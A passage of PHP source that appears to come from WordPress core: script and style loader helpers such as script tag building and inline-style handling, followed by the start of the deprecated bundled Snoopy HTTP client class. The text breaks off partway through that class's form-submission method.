 * Sanitizes an attributes array into an attributes string to be placed inside a `<script>` tag.
 *
 * Automatically injects type attribute if needed.
 * Used by {@see wp_get_script_tag()} and {@see wp_get_inline_script_tag()}.
 *
 * @since 5.7.0
 *
 * @param array $attributes Key-value pairs representing `<script>` tag attributes.
 * @return string String made of sanitized `<script>` tag attributes.
 */
function wp_sanitize_script_attributes( $attributes ) {
	$html5_script_support = ! is_admin() && ! current_theme_supports( 'html5', 'script' );
	$attributes_string    = '';

	/*
	 * If HTML5 script tag is supported, only the attribute name is added
	 * to $attributes_string for entries with a boolean value, and that are true.
	 */
	foreach ( $attributes as $attribute_name => $attribute_value ) {
		if ( is_bool( $attribute_value ) ) {
			if ( $attribute_value ) {
				$attributes_string .= $html5_script_support ? sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_name ) ) : ' ' . esc_attr( $attribute_name );
			}
		} else {
			$attributes_string .= sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
		}
	}

	return $attributes_string;
}

/**
 * Formats `<script>` loader tags.
 *
 * It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter.
 * Automatically injects type attribute if needed.
 *
 * @since 5.7.0
 *
 * @param array $attributes Key-value pairs representing `<script>` tag attributes.
 * @return string String containing `<script>` opening and closing tags.
 */
function wp_get_script_tag( $attributes ) {
	if ( ! isset( $attributes['type'] ) && ! is_admin() && ! current_theme_supports( 'html5', 'script' ) ) {
		// Keep the type attribute as the first for legacy reasons (it has always been this way in core).
		$attributes = array_merge(
			array( 'type' => 'text/javascript' ),
			$attributes
		);
	}
	/**
	 * Filters attributes to be added to a script tag.
	 *
	 * @since 5.7.0
	 *
	 * @param array $attributes Key-value pairs representing `<script>` tag attributes.
	 *                          Only the attribute name is added to the `<script>` tag for
	 *                          entries with a boolean value, and that are true.
	 */
	$attributes = apply_filters( 'wp_script_attributes', $attributes );

	return sprintf( "<script%s></script>\n", wp_sanitize_script_attributes( $attributes ) );
}

/**
 * Prints formatted `<script>` loader tag.
 *
 * It is possible to inject attributes in the `<script>` tag via the  {@see 'wp_script_attributes'}  filter.
 * Automatically injects type attribute if needed.
 *
 * @since 5.7.0
 *
 * @param array $attributes Key-value pairs representing `<script>` tag attributes.
 */
function wp_print_script_tag( $attributes ) {
	echo wp_get_script_tag( $attributes );
}

/**
 * Constructs an inline script tag.
 *
 * It is possible to inject attributes in the `<script>` tag via the  {@see 'wp_script_attributes'}  filter.
 * Automatically injects type attribute if needed.
 *
 * @since 5.7.0
 *
 * @param string $data       Data for script tag: JavaScript, importmap, speculationrules, etc.
 * @param array  $attributes Optional. Key-value pairs representing `<script>` tag attributes.
 * @return string String containing inline JavaScript code wrapped around `<script>` tag.
 */
function wp_get_inline_script_tag( $data, $attributes = array() ) {
	$is_html5 = current_theme_supports( 'html5', 'script' ) || is_admin();
	if ( ! isset( $attributes['type'] ) && ! $is_html5 ) {
		// Keep the type attribute as the first for legacy reasons (it has always been this way in core).
		$attributes = array_merge(
			array( 'type' => 'text/javascript' ),
			$attributes
		);
	}

	/*
	 * XHTML extracts the contents of the SCRIPT element and then the XML parser
	 * decodes character references and other syntax elements. This can lead to
	 * misinterpretation of the script contents or invalid XHTML documents.
	 *
	 * Wrapping the contents in a CDATA section instructs the XML parser not to
	 * transform the contents of the SCRIPT element before passing them to the
	 * JavaScript engine.
	 *
	 * Example:
	 *
	 *     <script>console.log('&hellip;');</script>
	 *
	 *     In an HTML document this would print "&hellip;" to the console,
	 *     but in an XHTML document it would print "…" to the console.
	 *
	 *     <script>console.log('An image is <img> in HTML');</script>
	 *
	 *     In an HTML document this would print "An image is <img> in HTML",
	 *     but it's an invalid XHTML document because it interprets the `<img>`
	 *     as an empty tag missing its closing `/`.
	 *
	 * @see https://www.w3.org/TR/xhtml1/#h-4.8
	 */
	if (
		! $is_html5 &&
		(
			! isset( $attributes['type'] ) ||
			'module' === $attributes['type'] ||
			str_contains( $attributes['type'], 'javascript' ) ||
			str_contains( $attributes['type'], 'ecmascript' ) ||
			str_contains( $attributes['type'], 'jscript' ) ||
			str_contains( $attributes['type'], 'livescript' )
		)
	) {
		/*
		 * If the string `]]>` exists within the JavaScript it would break
		 * out of any wrapping CDATA section added here, so to start, it's
		 * necessary to escape that sequence which requires splitting the
		 * content into two CDATA sections wherever it's found.
		 *
		 * Note: it's only necessary to escape the closing `]]>` because
		 * an additional `<![CDATA[` leaves the contents unchanged.
		 */
		$data = str_replace( ']]>', ']]]]><![CDATA[>', $data );

		// Wrap the entire escaped script inside a CDATA section.
		$data = sprintf( "/* <![CDATA[ */\n%s\n/* ]]> */", $data );
	}

	$data = "\n" . trim( $data, "\n\r " ) . "\n";

	/**
	 * Filters attributes to be added to a script tag.
	 *
	 * @since 5.7.0
	 *
	 * @param array  $attributes Key-value pairs representing `<script>` tag attributes.
	 *                           Only the attribute name is added to the `<script>` tag for
	 *                           entries with a boolean value, and that are true.
	 * @param string $data       Inline data.
	 */
	$attributes = apply_filters( 'wp_inline_script_attributes', $attributes, $data );

	return sprintf( "<script%s>%s</script>\n", wp_sanitize_script_attributes( $attributes ), $data );
}

/**
 * Prints an inline script tag.
 *
 * It is possible to inject attributes in the `<script>` tag via the  {@see 'wp_script_attributes'}  filter.
 * Automatically injects type attribute if needed.
 *
 * @since 5.7.0
 *
 * @param string $data       Data for script tag: JavaScript, importmap, speculationrules, etc.
 * @param array  $attributes Optional. Key-value pairs representing `<script>` tag attributes.
 */
function wp_print_inline_script_tag( $data, $attributes = array() ) {
	echo wp_get_inline_script_tag( $data, $attributes );
}

/**
 * Allows small styles to be inlined.
 *
 * This improves performance and sustainability, and is opt-in. Stylesheets can opt in
 * by adding `path` data using `wp_style_add_data`, and defining the file's absolute path:
 *
 *     wp_style_add_data( $style_handle, 'path', $file_path );
 *
 * @since 5.8.0
 *
 * @global WP_Styles $wp_styles
 */
function wp_maybe_inline_styles() {
	global $wp_styles;

	$total_inline_limit = 20000;
	/**
	 * The maximum size of inlined styles in bytes.
	 *
	 * @since 5.8.0
	 *
	 * @param int $total_inline_limit The file-size threshold, in bytes. Default 20000.
	 */
	$total_inline_limit = apply_filters( 'styles_inline_size_limit', $total_inline_limit );

	$styles = array();

	// Build an array of styles that have a path defined.
	foreach ( $wp_styles->queue as $handle ) {
		if ( ! isset( $wp_styles->registered[ $handle ] ) ) {
			continue;
		}
		$src  = $wp_styles->registered[ $handle ]->src;
		$path = $wp_styles->get_data( $handle, 'path' );
		if ( $path && $src ) {
			$size = wp_filesize( $path );
			if ( ! $size ) {
				continue;
			}
			$styles[] = array(
				'handle' => $handle,
				'src'    => $src,
				'path'   => $path,
				'size'   => $size,
			);
		}
	}

	if ( ! empty( $styles ) ) {
		// Reorder styles array based on size.
		usort(
			$styles,
			static function ( $a, $b ) {
				return ( $a['size'] <= $b['size'] ) ? -1 : 1;
			}
		);

		/*
		 * The total inlined size.
		 *
		 * On each iteration of the loop, if a style gets added inline the value of this var increases
		 * to reflect the total size of inlined styles.
		 */
		$total_inline_size = 0;

		// Loop styles.
		foreach ( $styles as $style ) {

			// Size check. Since styles are ordered by size, we can break the loop.
			if ( $total_inline_size + $style['size'] > $total_inline_limit ) {
				break;
			}

			// Get the styles if we don't already have them.
			$style['css'] = file_get_contents( $style['path'] );

			/*
			 * Check if the style contains relative URLs that need to be modified.
			 * URLs relative to the stylesheet's path should be converted to relative to the site's root.
			 */
			$style['css'] = _wp_normalize_relative_css_links( $style['css'], $style['src'] );

			// Set `src` to `false` and add styles inline.
			$wp_styles->registered[ $style['handle'] ]->src = false;
			if ( empty( $wp_styles->registered[ $style['handle'] ]->extra['after'] ) ) {
				$wp_styles->registered[ $style['handle'] ]->extra['after'] = array();
			}
			array_unshift( $wp_styles->registered[ $style['handle'] ]->extra['after'], $style['css'] );

			// Add the styles size to the $total_inline_size var.
			$total_inline_size += (int) $style['size'];
		}
	}
}

/**
 * Makes URLs relative to the WordPress installation.
 *
 * @since 5.9.0
 * @access private
 *
 * @param string $css            The CSS to make URLs relative to the WordPress installation.
 * @param string $stylesheet_url The URL to the stylesheet.
 *
 * @return string The CSS with URLs made relative to the WordPress installation.
 */
function _wp_normalize_relative_css_links( $css, $stylesheet_url ) {
	return preg_replace_callback(
		'#(url\s*\(\s*[\'"]?\s*)([^\'"\)]+)#',
		static function ( $matches ) use ( $stylesheet_url ) {
			list( , $prefix, $url ) = $matches;

			// Short-circuit if the URL does not require normalization.
			if (
				str_starts_with( $url, 'http:' ) ||
				str_starts_with( $url, 'https:' ) ||
				str_starts_with( $url, '//' ) ||
				str_starts_with( $url, '#' ) ||
				str_starts_with( $url, 'data:' )
			) {
				return $matches[0];
			}

			// Build the absolute URL.
			$absolute_url = dirname( $stylesheet_url ) . '/' . $url;
			$absolute_url = str_replace( '/./', '/', $absolute_url );

			// Convert to URL related to the site root.
			$url = wp_make_link_relative( $absolute_url );

			return $prefix . $url;
		},
		$css
	);
}

/**
 * Function that enqueues the CSS Custom Properties coming from theme.json.
 *
 * @since 5.9.0
 */
function wp_enqueue_global_styles_css_custom_properties() {
	wp_register_style( 'global-styles-css-custom-properties', false );
	wp_add_inline_style( 'global-styles-css-custom-properties', wp_get_global_stylesheet( array( 'variables' ) ) );
	wp_enqueue_style( 'global-styles-css-custom-properties' );
}

/**
 * Hooks inline styles in the proper place, depending on the active theme.
 *
 * @since 5.9.1
 * @since 6.1.0 Added the `$priority` parameter.
 *
 * For block themes, styles are loaded in the head.
 * For classic ones, styles are loaded in the body because the wp_head action happens before render_block.
 *
 * @link https://core.trac.wordpress.org/ticket/53494.
 *
 * @param string $style    String containing the CSS styles to be added.
 * @param int    $priority To set the priority for the add_action.
 */
function wp_enqueue_block_support_styles( $style, $priority = 10 ) {
	$action_hook_name = 'wp_footer';
	if ( wp_is_block_theme() ) {
		$action_hook_name = 'wp_head';
	}
	add_action(
		$action_hook_name,
		static function () use ( $style ) {
			echo "<style>$style</style>\n";
		},
		$priority
	);
}

/**
 * Fetches, processes and compiles stored core styles, then combines and renders them to the page.
 * Styles are stored via the style engine API.
 *
 * @link https://developer.wordpress.org/block-editor/reference-guides/packages/packages-style-engine/
 *
 * @since 6.1.0
 *
 * @param array $options {
 *     Optional. An array of options to pass to wp_style_engine_get_stylesheet_from_context().
 *     Default empty array.
 *
 *     @type bool $optimize Whether to optimize the CSS output, e.g., combine rules.
 *                          Default false.
 *     @type bool $prettify Whether to add new lines and indents to output.
 *                          Default to whether the `SCRIPT_DEBUG` constant is defined.
 * }
 */
function wp_enqueue_stored_styles( $options = array() ) {
	$is_block_theme   = wp_is_block_theme();
	$is_classic_theme = ! $is_block_theme;

	/*
	 * For block themes, this function prints stored styles in the header.
	 * For classic themes, in the footer.
	 */
	if (
		( $is_block_theme && doing_action( 'wp_footer' ) ) ||
		( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) )
	) {
		return;
	}

	$core_styles_keys         = array( 'block-supports' );
	$compiled_core_stylesheet = '';
	$style_tag_id             = 'core';
	// Adds comment if code is prettified to identify core styles sections in debugging.
	$should_prettify = isset( $options['prettify'] ) ? true === $options['prettify'] : defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG;
	foreach ( $core_styles_keys as $style_key ) {
		if ( $should_prettify ) {
			$compiled_core_stylesheet .= "/**\n * Core styles: $style_key\n */\n";
		}
		// Chains core store ids to signify what the styles contain.
		$style_tag_id             .= '-' . $style_key;
		$compiled_core_stylesheet .= wp_style_engine_get_stylesheet_from_context( $style_key, $options );
	}

	// Combines Core styles.
	if ( ! empty( $compiled_core_stylesheet ) ) {
		wp_register_style( $style_tag_id, false );
		wp_add_inline_style( $style_tag_id, $compiled_core_stylesheet );
		wp_enqueue_style( $style_tag_id );
	}

	// Prints out any other stores registered by themes or otherwise.
	$additional_stores = WP_Style_Engine_CSS_Rules_Store::get_stores();
	foreach ( array_keys( $additional_stores ) as $store_name ) {
		if ( in_array( $store_name, $core_styles_keys, true ) ) {
			continue;
		}
		$styles = wp_style_engine_get_stylesheet_from_context( $store_name, $options );
		if ( ! empty( $styles ) ) {
			$key = "wp-style-engine-$store_name";
			wp_register_style( $key, false );
			wp_add_inline_style( $key, $styles );
			wp_enqueue_style( $key );
		}
	}
}

/**
 * Enqueues a stylesheet for a specific block.
 *
 * If the theme has opted-in to separate-styles loading,
 * then the stylesheet will be enqueued on-render,
 * otherwise when the block inits.
 *
 * @since 5.9.0
 *
 * @param string $block_name The block-name, including namespace.
 * @param array  $args       {
 *     An array of arguments. See wp_register_style() for full information about each argument.
 *
 *     @type string           $handle The handle for the stylesheet.
 *     @type string|false     $src    The source URL of the stylesheet.
 *     @type string[]         $deps   Array of registered stylesheet handles this stylesheet depends on.
 *     @type string|bool|null $ver    Stylesheet version number.
 *     @type string           $media  The media for which this stylesheet has been defined.
 *     @type string|null      $path   Absolute path to the stylesheet, so that it can potentially be inlined.
 * }
 */
function wp_enqueue_block_style( $block_name, $args ) {
	$args = wp_parse_args(
		$args,
		array(
			'handle' => '',
			'src'    => '',
			'deps'   => array(),
			'ver'    => false,
			'media'  => 'all',
		)
	);

	/**
	 * Callback function to register and enqueue styles.
	 *
	 * @param string $content When the callback is used for the render_block filter,
	 *                        the content needs to be returned so the function parameter
	 *                        is to ensure the content exists.
	 * @return string Block content.
	 */
	$callback = static function ( $content ) use ( $args ) {
		// Register the stylesheet.
		if ( ! empty( $args['src'] ) ) {
			wp_register_style( $args['handle'], $args['src'], $args['deps'], $args['ver'], $args['media'] );
		}

		// Add `path` data if provided.
		if ( isset( $args['path'] ) ) {
			wp_style_add_data( $args['handle'], 'path', $args['path'] );

			// Get the RTL file path.
			$rtl_file_path = str_replace( '.css', '-rtl.css', $args['path'] );

			// Add RTL stylesheet.
			if ( file_exists( $rtl_file_path ) ) {
				wp_style_add_data( $args['handle'], 'rtl', 'replace' );

				if ( is_rtl() ) {
					wp_style_add_data( $args['handle'], 'path', $rtl_file_path );
				}
			}
		}

		// Enqueue the stylesheet.
		wp_enqueue_style( $args['handle'] );

		return $content;
	};

	$hook = did_action( 'wp_enqueue_scripts' ) ? 'wp_footer' : 'wp_enqueue_scripts';
	if ( wp_should_load_separate_core_block_assets() ) {
		/**
		 * Callback function to register and enqueue styles.
		 *
		 * @param string $content The block content.
		 * @param array  $block   The full block, including name and attributes.
		 * @return string Block content.
		 */
		$callback_separate = static function ( $content, $block ) use ( $block_name, $callback ) {
			if ( ! empty( $block['blockName'] ) && $block_name === $block['blockName'] ) {
				return $callback( $content );
			}
			return $content;
		};

		/*
		 * The filter's callback here is an anonymous function because
		 * using a named function in this case is not possible.
		 *
		 * The function cannot be unhooked, however, users are still able
		 * to dequeue the stylesheets registered/enqueued by the callback
		 * which is why in this case, using an anonymous function
		 * was deemed acceptable.
		 */
		add_filter( 'render_block', $callback_separate, 10, 2 );
		return;
	}

	/*
	 * The filter's callback here is an anonymous function because
	 * using a named function in this case is not possible.
	 *
	 * The function cannot be unhooked, however, users are still able
	 * to dequeue the stylesheets registered/enqueued by the callback
	 * which is why in this case, using an anonymous function
	 * was deemed acceptable.
	 */
	add_filter( $hook, $callback );

	// Enqueue assets in the editor.
	add_action( 'enqueue_block_assets', $callback );
}

/**
 * Loads classic theme styles on classic themes in the frontend.
 *
 * This is needed for backwards compatibility for button blocks specifically.
 *
 * @since 6.1.0
 */
function wp_enqueue_classic_theme_styles() {
	if ( ! wp_theme_has_theme_json() ) {
		$suffix = wp_scripts_get_suffix();
		wp_register_style( 'classic-theme-styles', '/' . WPINC . "/css/classic-themes$suffix.css" );
		wp_style_add_data( 'classic-theme-styles', 'path', ABSPATH . WPINC . "/css/classic-themes$suffix.css" );
		wp_enqueue_style( 'classic-theme-styles' );
	}
}

/**
 * Loads classic theme styles on classic themes in the editor.
 *
 * This is needed for backwards compatibility for button blocks specifically.
 *
 * @since 6.1.0
 *
 * @param array $editor_settings The array of editor settings.
 * @return array A filtered array of editor settings.
 */
function wp_add_editor_classic_theme_styles( $editor_settings ) {
	if ( wp_theme_has_theme_json() ) {
		return $editor_settings;
	}

	$suffix               = wp_scripts_get_suffix();
	$classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css";

	/*
	 * This follows the pattern of get_block_editor_theme_styles,
	 * but we can't use get_block_editor_theme_styles directly as it
	 * only handles external files or theme files.
	 */
	$classic_theme_styles_settings = array(
		'css'            => file_get_contents( $classic_theme_styles ),
		'__unstableType' => 'core',
		'isGlobalStyles' => false,
	);

	// Add these settings to the start of the array so that themes can override them.
	array_unshift( $editor_settings['styles'], $classic_theme_styles_settings );

	return $editor_settings;
}

/**
 * Removes leading and trailing _empty_ script tags.
 *
 * This is a helper meant to be used for literal script tag construction
 * within `wp_get_inline_script_tag()` or `wp_print_inline_script_tag()`.
 * It removes the literal values of "<script>" and "</script>" from
 * around an inline script after trimming whitespace. Typically this
 * is used in conjunction with output buffering, where `ob_get_clean()`
 * is passed as the `$contents` argument.
 *
 * Example:
 *
 *     // Strips exact literal empty SCRIPT tags.
 *     $js = '<script>sayHello();</script>;
 *     'sayHello();' === wp_remove_surrounding_empty_script_tags( $js );
 *
 *     // Otherwise if anything is different it warns in the JS console.
 *     $js = '<script type="text/javascript">console.log( "hi" );</script>';
 *     'console.error( ... )' === wp_remove_surrounding_empty_script_tags( $js );
 *
 * @since 6.4.0
 * @access private
 *
 * @see wp_print_inline_script_tag()
 * @see wp_get_inline_script_tag()
 *
 * @param string $contents Script body with manually created SCRIPT tag literals.
 * @return string Script body without surrounding script tag literals, or
 *                original contents if both exact literals aren't present.
 */
function wp_remove_surrounding_empty_script_tags( $contents ) {
	$contents = trim( $contents );
	$opener   = '<SCRIPT>';
	$closer   = '</SCRIPT>';

	if (
		strlen( $contents ) > strlen( $opener ) + strlen( $closer ) &&
		strtoupper( substr( $contents, 0, strlen( $opener ) ) ) === $opener &&
		strtoupper( substr( $contents, -strlen( $closer ) ) ) === $closer
	) {
		return substr( $contents, strlen( $opener ), -strlen( $closer ) );
	} else {
		$error_message = __( 'Expected string to start with script tag (without attributes) and end with script tag, with optional whitespace.' );
		_doing_it_wrong( __FUNCTION__, $error_message, '6.4' );
		return sprintf(
			'console.error(%s)',
			wp_json_encode(
				sprintf(
					/* translators: %s: wp_remove_surrounding_empty_script_tags() */
					__( 'Function %s used incorrectly in PHP.' ),
					'wp_remove_surrounding_empty_script_tags()'
				) . ' ' . $error_message
			)
		);
	}
}
<?php

/**
 * Deprecated. Use WP_HTTP (http.php) instead.
 */
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/http.php' );

if ( ! class_exists( 'Snoopy', false ) ) :
/*************************************************

Snoopy - the PHP net client
Author: Monte Ohrt <monte@ispi.net>
Copyright (c): 1999-2008 New Digital Group, all rights reserved
Version: 1.2.4

 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

You may contact the author of Snoopy by e-mail at:
monte@ohrt.com

The latest version of Snoopy can be obtained from:
http://snoopy.sourceforge.net/

*************************************************/

class Snoopy
{
	/**** Public variables ****/

	/* user definable vars */

	var $host			=	"www.php.net";		// host name we are connecting to
	var $port			=	80;					// port we are connecting to
	var $proxy_host		=	"";					// proxy host to use
	var $proxy_port		=	"";					// proxy port to use
	var $proxy_user		=	"";					// proxy user to use
	var $proxy_pass		=	"";					// proxy password to use

	var $agent			=	"Snoopy v1.2.4";	// agent we masquerade as
	var	$referer		=	"";					// referer info to pass
	var $cookies		=	array();			// array of cookies to pass
												// $cookies["username"]="joe";
	var	$rawheaders		=	array();			// array of raw headers to send
												// $rawheaders["Content-Type"]="text/html";

	var $maxredirs		=	5;					// http redirection depth maximum. 0 = disallow
	var $lastredirectaddr	=	"";				// contains address of last redirected address
	var	$offsiteok		=	true;				// allows redirection off-site
	var $maxframes		=	0;					// frame content depth maximum. 0 = disallow
	var $expandlinks	=	true;				// expand links to fully qualified URLs.
												// this only applies to fetchlinks()
												// submitlinks(), and submittext()
	var $passcookies	=	true;				// pass set cookies back through redirects
												// NOTE: this currently does not respect
												// dates, domains or paths.

	var	$user			=	"";					// user for http authentication
	var	$pass			=	"";					// password for http authentication

	// http accept types
	var $accept			=	"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";

	var $results		=	"";					// where the content is put

	var $error			=	"";					// error messages sent here
	var	$response_code	=	"";					// response code returned from server
	var	$headers		=	array();			// headers returned from server sent here
	var	$maxlength		=	500000;				// max return data length (body)
	var $read_timeout	=	0;					// timeout on read operations, in seconds
												// supported only since PHP 4 Beta 4
												// set to 0 to disallow timeouts
	var $timed_out		=	false;				// if a read operation timed out
	var	$status			=	0;					// http request status

	var $temp_dir		=	"/tmp";				// temporary directory that the webserver
												// has permission to write to.
												// under Windows, this should be C:\temp

	var	$curl_path		=	"/usr/local/bin/curl";
												// Snoopy will use cURL for fetching
												// SSL content if a full system path to
												// the cURL binary is supplied here.
												// set to false if you do not have
												// cURL installed. See http://curl.haxx.se
												// for details on installing cURL.
												// Snoopy does *not* use the cURL
												// library functions built into php,
												// as these functions are not stable
												// as of this Snoopy release.

	/**** Private variables ****/

	var	$_maxlinelen	=	4096;				// max line length (headers)

	var $_httpmethod	=	"GET";				// default http request method
	var $_httpversion	=	"HTTP/1.0";			// default http request version
	var $_submit_method	=	"POST";				// default submit method
	var $_submit_type	=	"application/x-www-form-urlencoded";	// default submit type
	var $_mime_boundary	=   "";					// MIME boundary for multipart/form-data submit type
	var $_redirectaddr	=	false;				// will be set if page fetched is a redirect
	var $_redirectdepth	=	0;					// increments on an http redirect
	var $_frameurls		= 	array();			// frame src urls
	var $_framedepth	=	0;					// increments on frame depth

	var $_isproxy		=	false;				// set if using a proxy server
	var $_fp_timeout	=	30;					// timeout for socket connection

/*======================================================================*\
	Function:	fetch
	Purpose:	fetch the contents of a web page
				(and possibly other protocols in the
				future like ftp, nntp, gopher, etc.)
	Input:		$URI	the location of the page to fetch
	Output:		$this->results	the output text from the fetch
\*======================================================================*/

	function fetch($URI)
	{

		//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
		$URI_PARTS = parse_url($URI);
		if (!empty($URI_PARTS["user"]))
			$this->user = $URI_PARTS["user"];
		if (!empty($URI_PARTS["pass"]))
			$this->pass = $URI_PARTS["pass"];
		if (empty($URI_PARTS["query"]))
			$URI_PARTS["query"] = '';
		if (empty($URI_PARTS["path"]))
			$URI_PARTS["path"] = '';

		switch(strtolower($URI_PARTS["scheme"]))
		{
			case "http":
				$this->host = $URI_PARTS["host"];
				if(!empty($URI_PARTS["port"]))
					$this->port = $URI_PARTS["port"];
				if($this->_connect($fp))
				{
					if($this->_isproxy)
					{
						// using proxy, send entire URI
						$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
					}
					else
					{
						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
						// no proxy, send only the path
						$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
					}

					$this->_disconnect($fp);

					if($this->_redirectaddr)
					{
						/* url was redirected, check if we've hit the max depth */
						if($this->maxredirs > $this->_redirectdepth)
						{
							// only follow redirect if it's on this site, or offsiteok is true
							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
							{
								/* follow the redirect */
								$this->_redirectdepth++;
								$this->lastredirectaddr=$this->_redirectaddr;
								$this->fetch($this->_redirectaddr);
							}
						}
					}

					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
					{
						$frameurls = $this->_frameurls;
						$this->_frameurls = array();

						foreach ( $frameurls as $frameurl )
						{
							if($this->_framedepth < $this->maxframes)
							{
								$this->fetch($frameurl);
								$this->_framedepth++;
							}
							else
								break;
						}
					}
				}
				else
				{
					return false;
				}
				return true;
				break;
			case "https":
				if(!$this->curl_path)
					return false;
				if(function_exists("is_executable"))
				    if (!is_executable($this->curl_path))
				        return false;
				$this->host = $URI_PARTS["host"];
				if(!empty($URI_PARTS["port"]))
					$this->port = $URI_PARTS["port"];
				if($this->_isproxy)
				{
					// using proxy, send entire URI
					$this->_httpsrequest($URI,$URI,$this->_httpmethod);
				}
				else
				{
					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
					// no proxy, send only the path
					$this->_httpsrequest($path, $URI, $this->_httpmethod);
				}

				if($this->_redirectaddr)
				{
					/* url was redirected, check if we've hit the max depth */
					if($this->maxredirs > $this->_redirectdepth)
					{
						// only follow redirect if it's on this site, or offsiteok is true
						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
						{
							/* follow the redirect */
							$this->_redirectdepth++;
							$this->lastredirectaddr=$this->_redirectaddr;
							$this->fetch($this->_redirectaddr);
						}
					}
				}

				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
				{
					$frameurls = $this->_frameurls;
					$this->_frameurls = array();

					foreach ( $frameurls as $frameurl )
					{
						if($this->_framedepth < $this->maxframes)
						{
							$this->fetch($frameurl);
							$this->_framedepth++;
						}
						else
							break;
					}
				}
				return true;
				break;
			default:
				// not a valid protocol
				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
				return false;
				break;
		}
		return true;
	}

/*======================================================================*\
	Function:	submit
	Purpose:	submit an http form
	Input:		$URI	the location to post the data
				$formvars	the formvars to use.
					format: $formvars["var"] = "val";
				$formfiles  an array of files to submit
					format: $formfiles["var"] = "/dir/filename.ext";
	Output:		$this->results	the text output from the post
\*======================================================================*/

	function submit($URI, $formvars="", $formfiles="")
	{
		unset($postdata);

		$postdata = $this->_prepare_post_body($formvars, $formfiles);

		$URI_PARTS = parse_url($URI);
		if (!empty($URI_PARTS["user"]))
			$this->user = $URI_PARTS["user"];
		if (!empty($URI_PARTS["pass"]))
			$this->pass = $URI_PARTS["pass"];
		if (empty($URI_PARTS["query"]))
			$URI_PARTS["query"] = '';
		if (empty($URI_PARTS["path"]))
			$URI_PARTS["path"] = '';

		switch(strtolower($URI_PARTS["scheme"]))
		{
			case "http":
				$this->host = $URI_PARTS["host"];
				if(!empty($URI_PARTS["port"]))
					$this->port = $URI_PARTS["port"];
				if($this->_connect($fp))
				{
					if($this->_isproxy)
					{
						// using proxy, send entire URI
						$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
					}
					else
					{
						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
						// no proxy, send only the path
						$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
					}

					$this->_disconnect($fp);

					if($this->_redirectaddr)
					{
						/* url was redirected, check if we've hit the max depth */
						if($this->maxredirs > $this->_redirectdepth)
						{
							if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
								$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);

							// only follow redirect if it's on this site, or offsiteok is true
							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
							{
								/* follow the redirect */
								$this->_redirectdepth++;
								$this->lastredirectaddr=$this->_redirectaddr;
								if( strpos( $this->_redirectaddr, "?" ) > 0 )
									$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
								else
									$this->submit($this->_redirectaddr,$formvars, $formfiles);
							}
						}
					}

					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
					{
						$frameurls = $this->_frameurls;
						$this->_frameurls = array();

						foreach ( $frameurls as $frameurl )
						{
							if($this->_framedepth < $this->maxframes)
							{
								$this->fetch($frameurl);
								$this->_framedepth++;
							}
							else
								break;
						}
					}

				}
				else
				{
					return false;
				}
				return true;
				break;
			case "https":
				if(!$this->curl_path)
					return false;
				if(function_exists("is_executable"))
				    if (!is_executable($this->curl_path))
				        return false;
				$this->host = $URI_PARTS["host"];
				if(!empty($URI_PARTS["port"]))
					$this->port = $URI_PARTS["port"];
				if($this->_isproxy)
				{
					// using proxy, send entire URI
					$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
				}
				else
				{
					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
					// no proxy, send only the path
					$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
				}

				if($this->_redirectaddr)
				{
					/* url was redirected, check if we've hit the max depth */
					if($this->maxredirs > $this->_redirectdepth)
					{
						if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
							$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);

						// only follow redirect if it's on this site, or offsiteok is true
						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
						{
							/* follow the redirect */
							$this->_redirectdepth++;
							$this->lastredirectaddr=$this->_redirectaddr;
							if( strpos( $this->_redirectaddr, "?" ) > 0 )
								$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
							else
								$this->submit($this->_redirectaddr,$formvars, $formfiles);
						}
					}
				}

